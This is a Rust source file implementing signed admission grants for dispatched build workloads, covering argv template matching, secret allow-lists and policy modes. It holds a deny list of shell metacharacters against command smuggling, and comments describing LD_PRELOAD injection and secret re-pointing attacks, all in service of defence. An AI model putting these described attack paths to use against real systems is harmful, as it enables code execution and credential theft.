Skip to main content

workload_spec/
admission.rs

1//! Signed-recipe admission for dispatched workloads — W235 §(c), R555-F4.
2//!
3//! # The surface this closes
4//!
5//! A remote QED run executes *arbitrary recipe steps on shared infrastructure*.
6//! Everything between the camp and the node authenticates the **dispatcher**
7//! (mesh identity, yubaba admission), and nothing authenticates the **payload**:
8//! whoever can reach a build worker's yubaba can name any digest-pinned image
9//! and any argv, at `tier = "infra"`, with host networking — and, since R636-B2,
10//! can ask for `CAP_SETUID` + `CAP_SETGID` + `no_new_privs` off on top. That is
11//! remote code execution as a feature, gated only on being inside the mesh.
12//!
13//! An [`AdmissionGrant`] is the missing half: a small, signed document stating
14//! *what a recipe is allowed to run*. The recipe author signs it once, offline;
15//! the dispatcher carries it verbatim in three annotations; kamaji verifies the
16//! signature against pinned keys and then checks that the spec in front of it
17//! does not exceed what the grant describes.
18//!
19//! # What the grant covers, and why exactly that
20//!
21//! R710-S1 is the cautionary precedent: the original plugin-manifest signature
22//! authenticated `source_ref` alone, on the reasoning that it transitively
23//! pinned the bytes — leaving the *grant* (capabilities, sandbox profile)
24//! unsigned, i.e. authenticating precisely the field an attacker has no reason
25//! to touch. The same mistake here would be signing the recipe name, or its
26//! BLAKE3, and calling the run admitted.
27//!
28//! So the grant covers every field that determines **what code runs and with
29//! what privilege**:
30//!
31//! | Field | Why it is in the payload |
32//! |---|---|
33//! | `image` | the code, content-addressed |
34//! | `entrypoint`, `argv` | the code, as invoked |
35//! | `env-name` | `LD_PRELOAD` and friends are code injection by another name |
36//! | `workdir` | selects which of several trees a relative argv resolves against |
37//! | `tier` | the tier is what every other privilege gate keys on |
38//! | `host-network`, `nested-sandbox` | the two privilege widenings that exist |
39//! | `secret` | which vault credentials the run may read (R555-F5) |
40//!
41//! `recipe` rides along as a label, so a refusal names something a human can go
42//! read.
43//!
44//! Deliberately **not** covered: `resources`, `replicas`, the mesh-tag node
45//! selector, `expose`. None of them change what executes; folding them in would
46//! force a re-sign every time a build's memory ceiling moved.
47//!
48//! # Secrets (R555-F5) — the second thing a payload can steal
49//!
50//! F4 shipped with `secret` absent from that table and a note on the env check
51//! saying values need no constraint because an un-admitted *name* cannot be set
52//! at all. That reasoning holds for a literal and fails for a reference: the
53//! value of an [`EnvValue::FromSecret`] *is* the selector, and a
54//! [`SecretMount`](crate::SecretMount) was not looked at by [`covers`] at all.
55//! So a recipe admitted to set `R2_TOKEN` could be re-pointed at the cosign
56//! signing key without disturbing a byte the signature covered — the grant
57//! authenticated what the run *executes* and left what it *reads* ambient.
58//!
59//! The grant now carries a [`GrantSecret`] allow-list, and [`covers`] enforces
60//! it exactly (no template matching — a secret name is not a per-run value).
61//! Two shapes are refused outright rather than admitted:
62//!
63//! - **Env-target secret delivery**, in either spelling
64//!   ([`SecretTarget::EnvVar`](crate::SecretTarget::EnvVar) or
65//!   [`EnvValue::FromSecret`]). Nothing implements it end to end — yubaba
66//!   materializes only `File` targets and both kamaji backends reject an
67//!   unresolved `FromSecret` — and [`SecretTarget`](crate::SecretTarget)'s own
68//!   doc says to prefer `File` because env leaks through subprocess env and log
69//!   dumps. Admitting an unimplemented delivery path would mean signing for
70//!   something whose behaviour is not yet decided.
71//! - Anything not on the list, including a mount the signer never wrote.
72//!
73//! The one subtlety is that **the spec kamaji admits is not the spec the
74//! dispatcher signed**: yubaba resolves each `File` mount into a read-only bind
75//! of a tmpfs file (`deploy::secret_mount`) *before* the backend sees it. So
76//! [`covers`] accepts either form — the declared mount, or the injected bind at
77//! exactly the path [`crate::secret_mount::materialized_host_path`] derives for
78//! this spec's own ident. Any other bind outside the forge state root is still
79//! refused, so the exemption cannot be used to mount a sibling workload's
80//! secret dir.
81//!
82//! [`covers`]: AdmissionGrant::covers
83//!
84//! Also deliberately absent: a **hash of the recipe file**. It is the obvious
85//! provenance field and it is wrong twice over. It is circular — signing writes
86//! the signature into that same file, so the hash the author signed is never the
87//! hash the dispatcher computes — and it over-binds: a recipe TOML is mostly
88//! comments and `@yah:` board annotations, so editing a comment would un-sign
89//! the recipe. The grant's own body is the better identity, because it is
90//! exactly the part of the recipe whose change *should* invalidate a signature.
91//!
92//! # Why argv is a *template*
93//!
94//! A recipe's argv is authored with `{{...}}` holes that the materialize path
95//! substitutes per run — `{{YAH_TRANSFORM_OUT}}` becomes a path containing the
96//! derivation key, `{{target}}` becomes a caller-supplied param. A signature
97//! over the *substituted* argv could therefore only be produced at dispatch
98//! time, by a key the dispatcher holds — which reduces the whole gate to "the
99//! dispatcher is authenticated", something the mesh already provides.
100//!
101//! So the grant carries the template, and [`AdmissionGrant::covers`] checks the
102//! received argv is an instantiation of it. The security property comes from
103//! constraining the holes: recipes write shell strings
104//! (`build-v8.sh '{{target}}' '{{YAH_TRANSFORM_OUT}}'`), so a hole that may not
105//! contain a quote, a `$`, a backtick, a `;`, a `|`, or a `..` cannot break out
106//! of the quoting the author wrote. See [`hole_is_safe`].
107//!
108//! # Policy, and what is on by default
109//!
110//! [`Policy::Permissive`] is the default: a grant, **if present**, must verify —
111//! absent is allowed. That makes deploying this code a no-op for the live
112//! pipeline-offload path (a `qed run --where=remote` step comes from a pipeline,
113//! not a recipe, and has no grant) while making tampering with a *signed*
114//! dispatch detectable immediately.
115//!
116//! One exception is unconditional, and it is the point of the R636-B2 coupling
117//! W235 §Reshaping names: **a workload requesting the nested-sandbox grant needs
118//! a valid admission grant under every policy except [`Policy::Disabled`].**
119//! B2's widening is what raises the cost of an admission gap from "arbitrary
120//! code in a tight sandbox" to "arbitrary code with SETUID and no-new-privs
121//! off", so the widening does not get to be used un-admitted. That costs nothing
122//! today — B2's grant is built but not yet deployed on any worker — and it means
123//! the ordering W235 asked for ("B2's widening is defensible only once F4's
124//! admission gate exists") is enforced by the code rather than by sequencing
125//! discipline.
126//!
127//! [`Policy::Required`] is the end state for a shared build worker: no grant, no
128//! run. It is an operator flip per node (`YAH_ADMISSION=required`), because
129//! turning it on before that node's dispatchers sign is a self-inflicted outage.
130
131use std::collections::BTreeSet;
132use std::path::{Path, PathBuf};
133
134use thiserror::Error;
135
136use crate::{EnvValue, SecretMount, SecretRef, SecretTarget, VolumeSource, WorkloadSpec};
137
138/// Annotation carrying the admission grant document verbatim.
139///
140/// The value is the exact byte string [`AdmissionGrant::encode`] produces and
141/// the exact byte string the signature is over. Annotations do not reach the OCI
142/// spec (kamaji builds that from typed fields), so carrying a few hundred bytes
143/// here costs nothing at runtime.
144pub const GRANT_ANNOTATION: &str = "yah.admission.grant";
145
146/// Annotation carrying the hex-encoded Ed25519 detached signature over the
147/// [`GRANT_ANNOTATION`] value.
148pub const GRANT_SIGNATURE_ANNOTATION: &str = "yah.admission.signature";
149
150/// Annotation carrying the hex-encoded Ed25519 public key that signed the
151/// grant. Checked against the verifier's pinned key set *before* the signature
152/// is verified — an untrusted key can produce a perfectly valid signature, so
153/// verifying it first would be answering the wrong question (the ordering
154/// `yah_plugin::verify_manifest` established).
155pub const GRANT_KEY_ANNOTATION: &str = "yah.admission.key";
156
157/// Domain separator opening every grant document. Also the format version: a
158/// verifier that does not recognise the line refuses rather than guessing.
159///
160/// **v2 (R555-F5)** added the `secret` allow-list. The bump costs nothing: no
161/// grant has ever been signed outside a test fixture (every recipe in
162/// `.yah/qed/transforms/` is `location = "local"`, which `recipe-sign` skips),
163/// and a version skew between a new dispatcher and an old node now surfaces as
164/// [`GrantError::BadMagic`] rather than as a trailing-bytes parse failure that
165/// reads like corruption.
166pub const GRANT_MAGIC: &str = "yah-admission-grant/v2";
167
168/// Characters a template hole may not contain.
169///
170/// Recipe argv elements are shell strings the author quoted by hand
171/// (`build-v8.sh '{{target}}'`). These are the characters that let a
172/// substituted value escape that quoting, plus the ones that would let it reach
173/// a second command. `..` is rejected separately by [`hole_is_safe`] — it is a
174/// two-character sequence, not a class member.
175pub const FORBIDDEN_HOLE_CHARS: &[char] = &[
176    '\'', '"', '`', '$', ';', '|', '&', '<', '>', '(', ')', '{', '}', '\\', '\n', '\r', '\0',
177];
178
179/// Whether a substituted template hole's content is safe to have landed inside
180/// a recipe-authored shell string.
181///
182/// This is the whole security argument for template matching, so it is stated
183/// as a rule rather than a heuristic: the recipe author controls the quoting,
184/// and a value that contains none of [`FORBIDDEN_HOLE_CHARS`] and no `..`
185/// cannot change the command's structure — only which noun it names.
186pub fn hole_is_safe(value: &str) -> bool {
187    !value.contains("..") && !value.contains(FORBIDDEN_HOLE_CHARS)
188}
189
190/// Which runtime the grant admits. Mirrors the
191/// [`NATIVE_EXEC_ANNOTATION`](crate::NATIVE_EXEC_ANNOTATION) marker rather than
192/// re-deriving it: a native forge is fork+exec'd on the host with no container
193/// boundary at all, which is a materially different thing to admit.
194#[derive(Debug, Clone, Copy, PartialEq, Eq)]
195pub enum GrantRuntime {
196    /// Container backend (the default shape).
197    Container,
198    /// Host fork+exec — no container boundary. See
199    /// [`WorkloadSpec::wants_native_exec`].
200    Native,
201    /// KVM guest with its own kernel — a *stronger* boundary than a container,
202    /// not a weaker one. See [`WorkloadSpec::wants_microvm`] (R605-F8).
203    ///
204    /// It is nonetheless a distinct runtime in the grant rather than being
205    /// folded into [`Self::Container`], because a grant states what it admits:
206    /// a recipe signed to run in a container and a recipe signed to run in a
207    /// microVM differ in what the argv can reach (its own kernel, its own
208    /// device set, a host filesystem it sees only through the drives kamaji
209    /// attaches), and one describing the other would be false in both
210    /// directions.
211    MicroVm,
212}
213
214impl GrantRuntime {
215    fn as_str(self) -> &'static str {
216        match self {
217            GrantRuntime::Container => "container",
218            GrantRuntime::Native => "native",
219            GrantRuntime::MicroVm => "microvm",
220        }
221    }
222
223    /// The runtime a spec actually selects, from its `yah.exec` marker.
224    ///
225    /// One function so the signing site ([`AdmissionGrant::from_spec`]) and the
226    /// verifying site ([`AdmissionGrant::verify_matches`]) cannot disagree —
227    /// they were two copies of the same `if` before R605-F8 added a third arm,
228    /// which is exactly when a duplicated ladder starts to drift.
229    fn of_spec(spec: &WorkloadSpec) -> Self {
230        if spec.wants_native_exec() {
231            GrantRuntime::Native
232        } else if spec.wants_microvm() {
233            GrantRuntime::MicroVm
234        } else {
235            GrantRuntime::Container
236        }
237    }
238}
239
240/// How strictly a node enforces admission.
241///
242/// See the module docs for why [`Policy::Permissive`] is the default and why
243/// the nested-sandbox exception is unconditional.
244#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
245pub enum Policy {
246    /// No admission checking at all — pre-R555-F4 behaviour. An escape hatch
247    /// for a node debugging its own signing setup; it also disables the
248    /// nested-sandbox exception, which is why it is not the default.
249    Disabled,
250    /// A grant, if present, must verify. A workload with no grant runs, unless
251    /// it requests the nested-sandbox widening.
252    #[default]
253    Permissive,
254    /// Every workload must carry a grant that verifies.
255    Required,
256}
257
258impl Policy {
259    /// Parse a policy name. Accepts exactly the three spellings; anything else
260    /// is an error rather than a silent fallback, because "I typoed the env var
261    /// and admission quietly turned off" is the failure this whole module is
262    /// about.
263    pub fn parse(s: &str) -> Result<Self, String> {
264        match s.trim() {
265            "disabled" => Ok(Policy::Disabled),
266            "permissive" => Ok(Policy::Permissive),
267            "required" => Ok(Policy::Required),
268            other => Err(format!(
269                "unknown admission policy {other:?}; expected \"disabled\", \
270                 \"permissive\" or \"required\""
271            )),
272        }
273    }
274}
275
276/// A signed statement of what one recipe is allowed to run.
277///
278/// Construct with [`AdmissionGrant::from_spec`] at signing time (so the grant
279/// and the thing it describes cannot drift), encode with
280/// [`AdmissionGrant::encode`], sign the encoded bytes, and attach all three
281/// pieces with [`attach`].
282#[derive(Debug, Clone, PartialEq, Eq)]
283pub struct AdmissionGrant {
284    /// Recipe name, so a refusal names something a human can go read. Signed
285    /// like everything else, so it cannot be re-attributed after the fact.
286    pub recipe: String,
287    /// Canonical pinned image reference, as [`image_ref_string`] renders it.
288    pub image: String,
289    /// Tier the workload may run at.
290    pub tier: String,
291    /// Container or host fork+exec.
292    pub runtime: GrantRuntime,
293    /// Whether the recipe may request the host network namespace.
294    pub host_network: bool,
295    /// Whether the recipe may request the nested-sandbox capability widening.
296    pub nested_sandbox: bool,
297    /// Working directory the recipe may declare, if any.
298    pub workdir: Option<String>,
299    /// Entrypoint templates, in order.
300    pub entrypoint: Vec<String>,
301    /// Argv templates, in order. `{{...}}` holes are matched, not compared.
302    pub argv: Vec<String>,
303    /// Environment variable *names* the recipe may set. Values are
304    /// unconstrained for a [`EnvValue::Literal`] — a name that is not on this
305    /// list cannot be set at all. A `FromSecret` value is a different question
306    /// and is refused outright; see the module docs.
307    pub env_names: Vec<String>,
308    /// Vault credentials the recipe may read, exactly. Empty on a recipe that
309    /// declares none, which then cannot read any — the fail-closed direction,
310    /// and the state every recipe in the tree is in today.
311    pub secrets: Vec<GrantSecret>,
312}
313
314/// One vault credential a grant admits, as a file inside the workload.
315///
316/// File-target only, on purpose — see the module docs on why env-target secret
317/// delivery is refused rather than admitted. `mode` is in the signed body
318/// because a secret readable by every uid in the container is a different grant
319/// from one readable by its owner.
320#[derive(Debug, Clone, PartialEq, Eq)]
321pub struct GrantSecret {
322    /// Where yubaba reads the value from.
323    pub source: SecretRef,
324    /// Absolute container path the value is mounted at.
325    pub path: PathBuf,
326    /// File mode, octal.
327    pub mode: u32,
328}
329
330impl GrantSecret {
331    /// The grant entry a spec's mount corresponds to, or `None` when the mount
332    /// is one no grant can admit (an env target).
333    pub fn of_mount(mount: &SecretMount) -> Option<Self> {
334        match &mount.target {
335            SecretTarget::File { path, mode } => Some(Self {
336                source: mount.source.clone(),
337                path: path.clone(),
338                mode: *mode,
339            }),
340            SecretTarget::EnvVar { .. } => None,
341        }
342    }
343
344    /// Operator-facing rendering, for refusal messages only. Never parsed —
345    /// the wire form is the four records [`AdmissionGrant::encode`] writes.
346    pub fn describe(&self) -> String {
347        let source = match &self.source {
348            SecretRef::Cluster { name } => format!("cluster:{name}"),
349            SecretRef::LocalFile { path } => format!("local-file:{}", path.display()),
350        };
351        format!("{source} → {} (mode {:o})", self.path.display(), self.mode)
352    }
353
354    fn source_kind(&self) -> &'static str {
355        match self.source {
356            SecretRef::Cluster { .. } => "cluster",
357            SecretRef::LocalFile { .. } => "local-file",
358        }
359    }
360
361    fn source_value(&self) -> String {
362        match &self.source {
363            SecretRef::Cluster { name } => name.clone(),
364            SecretRef::LocalFile { path } => path.to_string_lossy().into_owned(),
365        }
366    }
367}
368
369/// Render an [`ImageRef`](crate::ImageRef) the one way the grant compares them.
370///
371/// Hand-rolled rather than a `Display` impl on `ImageRef` so the encoding this
372/// module signs cannot be changed by an unrelated edit to that type's
373/// formatting — the same reasoning `yah_plugin::signing_payload` records for
374/// not signing serialized TOML.
375pub fn image_ref_string(image: &crate::ImageRef) -> String {
376    format!(
377        "{}/{}:{}@{}",
378        image.registry, image.repository, image.tag, image.digest
379    )
380}
381
382impl AdmissionGrant {
383    /// Cut a grant from a spec that is already exactly what should be admitted.
384    ///
385    /// This is the signing-time constructor: lower the recipe to a
386    /// `WorkloadSpec` with its argv left un-substituted (holes intact), pass it
387    /// here, encode, sign. Deriving the grant from the spec rather than from the
388    /// recipe means the grant describes the thing that will actually be checked,
389    /// with no second lowering to keep in step.
390    pub fn from_spec(recipe: &str, spec: &WorkloadSpec) -> Self {
391        Self {
392            recipe: recipe.to_string(),
393            image: image_ref_string(&spec.image),
394            tier: spec.tier.0.clone(),
395            runtime: GrantRuntime::of_spec(spec),
396            host_network: spec.wants_host_network(),
397            nested_sandbox: spec.wants_nested_sandbox(),
398            workdir: spec
399                .workdir
400                .as_ref()
401                .map(|p| p.to_string_lossy().into_owned()),
402            entrypoint: spec.entrypoint.clone().unwrap_or_default(),
403            argv: spec.command.clone().unwrap_or_default(),
404            env_names: spec.env.iter().map(|e| e.name.clone()).collect(),
405            // An env-target mount yields no entry, so signing a spec that
406            // carries one produces a grant that does not cover it — the same
407            // refusal a verifier reaches, surfaced at signing time instead.
408            secrets: spec.secrets.iter().filter_map(GrantSecret::of_mount).collect(),
409        }
410    }
411
412    /// The exact bytes a recipe author signs, and the exact bytes a verifier
413    /// verifies over.
414    ///
415    /// A domain-separated sequence of length-prefixed records in fixed field
416    /// order: `<label> <byte-len>\n<value>\n`. The length prefix is what lets a
417    /// value contain a newline (a `bash -c` argv routinely does) without any
418    /// escaping, and fixed order plus explicit counts make the encoding
419    /// injective — two different grants cannot produce the same bytes.
420    ///
421    /// Hand-rolled rather than "serialize to TOML/JSON and sign that", for the
422    /// reason `yah_plugin::signing_payload` states: a serializer's output is a
423    /// formatting decision of a dependency, so a version bump could silently
424    /// invalidate every signature ever issued.
425    pub fn encode(&self) -> String {
426        let mut out = String::with_capacity(512);
427        out.push_str(GRANT_MAGIC);
428        out.push('\n');
429        record(&mut out, "recipe", &self.recipe);
430        record(&mut out, "image", &self.image);
431        record(&mut out, "tier", &self.tier);
432        record(&mut out, "runtime", self.runtime.as_str());
433        record(&mut out, "host-network", bool_str(self.host_network));
434        record(&mut out, "nested-sandbox", bool_str(self.nested_sandbox));
435        list(&mut out, "workdir", self.workdir.as_slice_of_one());
436        list(&mut out, "entrypoint", &self.entrypoint);
437        list(&mut out, "argv", &self.argv);
438        list(&mut out, "env-name", &self.env_names);
439        // Four records per entry rather than one joined string: joining needs a
440        // separator, and a separator inside a secret name or a mount path makes
441        // two different allow-lists encode to the same bytes. The record shape
442        // is already length-prefixed and therefore already injective.
443        record(&mut out, "secret", &self.secrets.len().to_string());
444        for s in &self.secrets {
445            record(&mut out, "secret.source-kind", s.source_kind());
446            record(&mut out, "secret.source", &s.source_value());
447            record(&mut out, "secret.path", &s.path.to_string_lossy());
448            record(&mut out, "secret.mode", &format!("{:o}", s.mode));
449        }
450        out
451    }
452
453    /// Parse the encoding [`AdmissionGrant::encode`] produces.
454    ///
455    /// Strict on purpose: an unrecognised magic line, a label out of order, a
456    /// length that does not match, or trailing bytes are all errors. A verifier
457    /// that guesses at a malformed grant is a verifier that can be steered.
458    pub fn parse(text: &str) -> Result<Self, GrantError> {
459        let mut cur = Cursor::new(text);
460        cur.magic()?;
461        let recipe = cur.record("recipe")?;
462        let image = cur.record("image")?;
463        let tier = cur.record("tier")?;
464        let runtime = match cur.record("runtime")?.as_str() {
465            "container" => GrantRuntime::Container,
466            "native" => GrantRuntime::Native,
467            "microvm" => GrantRuntime::MicroVm,
468            other => {
469                return Err(GrantError::BadValue {
470                    label: "runtime",
471                    reason: format!(
472                        "expected \"container\", \"native\" or \"microvm\", got {other:?}"
473                    ),
474                })
475            }
476        };
477        let host_network = cur.bool_record("host-network")?;
478        let nested_sandbox = cur.bool_record("nested-sandbox")?;
479        let mut workdir = cur.list("workdir")?;
480        if workdir.len() > 1 {
481            return Err(GrantError::BadValue {
482                label: "workdir",
483                reason: format!("expected 0 or 1 entries, got {}", workdir.len()),
484            });
485        }
486        let entrypoint = cur.list("entrypoint")?;
487        let argv = cur.list("argv")?;
488        let env_names = cur.list("env-name")?;
489        let secrets = cur.secrets()?;
490        cur.end()?;
491
492        Ok(Self {
493            recipe,
494            image,
495            tier,
496            runtime,
497            host_network,
498            nested_sandbox,
499            workdir: workdir.pop(),
500            entrypoint,
501            argv,
502            env_names,
503            secrets,
504        })
505    }
506
507    /// Check that `spec` does not exceed what this grant describes.
508    ///
509    /// The comparison is deliberately asymmetric where asymmetry is safe: a spec
510    /// may request *less* privilege than the grant allows (host networking and
511    /// the nested sandbox are implications, not equalities), but the code it
512    /// runs must match exactly — modulo template holes.
513    ///
514    /// This is signature-independent: it answers "is this spec the thing the
515    /// grant describes", not "did anyone vouch for the grant". [`admit`]
516    /// composes the two in the right order.
517    pub fn covers(&self, spec: &WorkloadSpec) -> Result<(), AdmissionError> {
518        let actual_image = image_ref_string(&spec.image);
519        if actual_image != self.image {
520            return Err(AdmissionError::Mismatch {
521                field: "image",
522                detail: format!("grant admits {}, spec names {actual_image}", self.image),
523            });
524        }
525        if spec.tier.0 != self.tier {
526            return Err(AdmissionError::Mismatch {
527                field: "tier",
528                detail: format!("grant admits {:?}, spec declares {:?}", self.tier, spec.tier.0),
529            });
530        }
531
532        let actual_runtime = GrantRuntime::of_spec(spec);
533        if actual_runtime != self.runtime {
534            return Err(AdmissionError::Mismatch {
535                field: "runtime",
536                detail: format!(
537                    "grant admits {}, spec is {}",
538                    self.runtime.as_str(),
539                    actual_runtime.as_str()
540                ),
541            });
542        }
543
544        // Privilege widenings: implication, not equality. Asking for less than
545        // the grant allows is always fine.
546        if spec.wants_host_network() && !self.host_network {
547            return Err(AdmissionError::Mismatch {
548                field: "host-network",
549                detail: "spec requests the host network namespace; the grant does not admit it"
550                    .into(),
551            });
552        }
553        if spec.wants_nested_sandbox() && !self.nested_sandbox {
554            return Err(AdmissionError::Mismatch {
555                field: "nested-sandbox",
556                detail: "spec requests the nested-sandbox capability widening \
557                         (CAP_SETUID + CAP_SETGID, no_new_privs off); the grant does not admit it"
558                    .into(),
559            });
560        }
561
562        // Workdir is template-matched, not compared: a NATIVE forge's workdir is
563        // the per-run host produced dir (`…/qed/produced/<forge id>`), so an
564        // equality check would force a re-sign per dispatch. Present-vs-absent
565        // is still exact — a grant that names no workdir does not admit one.
566        let actual_workdir = spec
567            .workdir
568            .as_ref()
569            .map(|p| p.to_string_lossy().into_owned());
570        match (&self.workdir, &actual_workdir) {
571            (None, None) => {}
572            (Some(template), Some(actual)) if template_matches(template, actual) => {}
573            _ => {
574                return Err(AdmissionError::Mismatch {
575                    field: "workdir",
576                    detail: format!(
577                        "grant admits {:?}, spec declares {:?}",
578                        self.workdir, actual_workdir
579                    ),
580                })
581            }
582        }
583
584        templates_cover(
585            "entrypoint",
586            &self.entrypoint,
587            spec.entrypoint.as_deref().unwrap_or(&[]),
588        )?;
589        templates_cover("argv", &self.argv, spec.command.as_deref().unwrap_or(&[]))?;
590
591        // Env NAMES are the gate; values need no constraint because a name that
592        // is not admitted cannot be set at all. `LD_PRELOAD` is the shape of
593        // attack this closes.
594        let admitted: BTreeSet<&str> = self.env_names.iter().map(String::as_str).collect();
595        for env in &spec.env {
596            if !admitted.contains(env.name.as_str()) {
597                return Err(AdmissionError::Mismatch {
598                    field: "env",
599                    detail: format!(
600                        "spec sets {:?}, which the grant does not admit (admitted: {:?})",
601                        env.name, self.env_names
602                    ),
603                });
604            }
605            // A FromSecret VALUE is a selector, not a value: admitting the name
606            // `R2_TOKEN` would otherwise admit reading the cosign key through
607            // it. Refused rather than allow-listed because nothing implements
608            // env-target secret delivery end to end — see the module docs.
609            if let EnvValue::FromSecret { secret, .. } = &env.value {
610                return Err(AdmissionError::Mismatch {
611                    field: "env",
612                    detail: format!(
613                        "spec resolves {:?} from secret {secret:?}; env-target secret \
614                         delivery is not admissible — mount the secret as a file \
615                         (SecretTarget::File) and declare it in the grant",
616                        env.name
617                    ),
618                });
619            }
620            // FromMesh is yubaba's to fill in before deploy and each backend
621            // already rejects it unresolved. Named here so a grant author
622            // reading this list knows admission is not the layer that resolves.
623        }
624
625        // R555-F5: every credential the run may read, exactly. No template
626        // matching — a secret name is authored, not substituted per run.
627        for mount in &spec.secrets {
628            let Some(want) = GrantSecret::of_mount(mount) else {
629                return Err(AdmissionError::Mismatch {
630                    field: "secrets",
631                    detail: "spec mounts a secret as an environment variable; \
632                             env-target secret delivery is not admissible — use \
633                             SecretTarget::File"
634                        .into(),
635                });
636            };
637            if !self.secrets.contains(&want) {
638                return Err(AdmissionError::Mismatch {
639                    field: "secrets",
640                    detail: format!(
641                        "spec mounts {}, which the grant does not admit (admitted: [{}])",
642                        want.describe(),
643                        self.describe_secrets()
644                    ),
645                });
646            }
647        }
648
649        // Bind mounts are the one field the grant does not enumerate, because
650        // the produced-dir mount is per-run (`/var/lib/yah/qed/produced/<forge
651        // id>`) and would force a re-sign per dispatch. The structural rule
652        // R636-B1 already established covers it instead: a forge bind must live
653        // under the forge state root. Checked here rather than assumed, because
654        // an admitted spec that can bind `/` has not been admitted at all.
655        //
656        // The one exemption is yubaba's own rewrite of an admitted File secret
657        // (R555-F5) — recomputed, not trusted: same container path, the exact
658        // host path derived for THIS spec's ident, and read-only.
659        let ident = spec.expose.mesh.identity.0.as_str();
660        for volume in &spec.volumes {
661            if let VolumeSource::Bind { host_path } = &volume.source {
662                if crate::forge_state::is_forge_state_path(host_path) {
663                    continue;
664                }
665                if self.is_materialized_secret_bind(ident, host_path, volume) {
666                    continue;
667                }
668                return Err(AdmissionError::Mismatch {
669                    field: "volumes",
670                    detail: format!(
671                        "spec binds host path {} which is outside the forge state root {} \
672                         and is not a materialized mount of an admitted secret",
673                        host_path.display(),
674                        crate::forge_state::HOST_ROOT
675                    ),
676                });
677            }
678        }
679
680        Ok(())
681    }
682
683    /// Whether `volume` is the read-only bind yubaba injects when it
684    /// materializes one of this grant's own admitted `File` secrets for the
685    /// workload `ident`.
686    ///
687    /// Every input is recomputed from the spec and the grant; nothing about the
688    /// bind is taken on trust. In particular the `ident` component is why this
689    /// cannot be used to reach a sibling workload's secret dir, and the
690    /// read-only requirement is why it cannot be used to *write* one.
691    ///
692    /// The root is [`crate::secret_mount::HOST_ROOT`] rather than a parameter
693    /// because a verifier holds a spec and nothing else — it has no way to
694    /// learn a root the *writer* chose. Yubaba's root is overridable only by
695    /// `with_secret_paths`, which exists for tests. If that ever becomes a real
696    /// deployment knob, this stops matching and a granted secret is *refused*
697    /// rather than waved through, which is the direction to fail in.
698    fn is_materialized_secret_bind(
699        &self,
700        ident: &str,
701        host_path: &Path,
702        volume: &crate::VolumeMount,
703    ) -> bool {
704        if !volume.read_only {
705            return false;
706        }
707        self.secrets.iter().any(|s| {
708            s.path == volume.target
709                && crate::secret_mount::materialized_host_path(
710                    Path::new(crate::secret_mount::HOST_ROOT),
711                    ident,
712                    &s.path,
713                ) == host_path
714        })
715    }
716
717    /// The admitted credentials, for a refusal message.
718    pub fn describe_secrets(&self) -> String {
719        self.secrets
720            .iter()
721            .map(GrantSecret::describe)
722            .collect::<Vec<_>>()
723            .join(", ")
724    }
725}
726
727/// Attach a grant, its signature and its signing key to a spec's annotations.
728///
729/// The dispatcher's whole job: it does not compute or check anything, it
730/// carries three opaque strings the recipe author produced. Keeping it that way
731/// is what keeps the signing key off every machine that dispatches.
732pub fn attach(spec: &mut WorkloadSpec, grant: &str, signature: &str, public_key: &str) {
733    spec.annotations
734        .insert(GRANT_ANNOTATION.into(), grant.to_string());
735    spec.annotations
736        .insert(GRANT_SIGNATURE_ANNOTATION.into(), signature.to_string());
737    spec.annotations
738        .insert(GRANT_KEY_ANNOTATION.into(), public_key.to_string());
739}
740
741/// Whether a spec carries any admission annotation at all.
742///
743/// "Any", not "all": a spec with a grant and no signature is a tampering
744/// attempt or a broken dispatcher, and both must reach the error path rather
745/// than the treated-as-unsigned path.
746pub fn has_grant_annotations(spec: &WorkloadSpec) -> bool {
747    spec.annotations.contains_key(GRANT_ANNOTATION)
748        || spec.annotations.contains_key(GRANT_SIGNATURE_ANNOTATION)
749        || spec.annotations.contains_key(GRANT_KEY_ANNOTATION)
750}
751
752// ── template matching ────────────────────────────────────────────────────────
753
754fn templates_cover(
755    field: &'static str,
756    templates: &[String],
757    actual: &[String],
758) -> Result<(), AdmissionError> {
759    if templates.len() != actual.len() {
760        return Err(AdmissionError::Mismatch {
761            field,
762            detail: format!(
763                "grant admits {} element(s), spec has {}",
764                templates.len(),
765                actual.len()
766            ),
767        });
768    }
769    for (i, (template, got)) in templates.iter().zip(actual).enumerate() {
770        if !template_matches(template, got) {
771            return Err(AdmissionError::Mismatch {
772                field,
773                detail: format!("element {i}: {got:?} is not an instantiation of {template:?}"),
774            });
775        }
776    }
777    Ok(())
778}
779
780/// Whether `actual` is `template` with each `{{...}}` hole filled by a value
781/// [`hole_is_safe`] accepts.
782///
783/// Literal segments are matched left to right at the earliest position each
784/// occurs, which is well-defined for every template the recipe format can
785/// produce: holes are separated by author-written literals (`' '`, ` `, `/`),
786/// so the leftmost match is the intended one. A template with no holes degrades
787/// to string equality.
788pub fn template_matches(template: &str, actual: &str) -> bool {
789    let segments = literal_segments(template);
790    // No holes: exact match, nothing to constrain.
791    if segments.len() == 1 {
792        return template == actual;
793    }
794
795    let mut rest = actual;
796    let Some(first) = segments.first() else {
797        return false;
798    };
799    let Some(after_first) = rest.strip_prefix(first.as_str()) else {
800        return false;
801    };
802    rest = after_first;
803
804    for (i, segment) in segments.iter().enumerate().skip(1) {
805        let last = i == segments.len() - 1;
806        if last && segment.is_empty() {
807            // Template ends with a hole: everything left is its content.
808            return hole_is_safe(rest);
809        }
810        let Some(at) = rest.find(segment.as_str()) else {
811            return false;
812        };
813        if !hole_is_safe(&rest[..at]) {
814            return false;
815        }
816        rest = &rest[at + segment.len()..];
817    }
818    rest.is_empty()
819}
820
821/// Split a template into its literal segments — the text between `{{` … `}}`
822/// holes, with one segment before the first hole and one after the last. `n`
823/// holes yield `n + 1` segments, so `segments.len() == 1` means "no holes".
824///
825/// An unterminated `{{` is literal text, matching `substitute_argv`'s own rule
826/// (an unterminated placeholder is preserved verbatim, so a template that
827/// contains one is compared verbatim too).
828fn literal_segments(template: &str) -> Vec<String> {
829    let mut segments = Vec::new();
830    let mut current = String::new();
831    let mut rest = template;
832    while let Some(open) = rest.find("{{") {
833        let Some(close_rel) = rest[open + 2..].find("}}") else {
834            break;
835        };
836        current.push_str(&rest[..open]);
837        segments.push(std::mem::take(&mut current));
838        rest = &rest[open + 2 + close_rel + 2..];
839    }
840    current.push_str(rest);
841    segments.push(current);
842    segments
843}
844
845// ── verification ─────────────────────────────────────────────────────────────
846
847/// Verify the admission annotations on `spec` under `policy` and a pinned key
848/// set.
849///
850/// Order is cheapest-and-most-decisive first, mirroring
851/// `yah_plugin::verify_manifest`:
852///
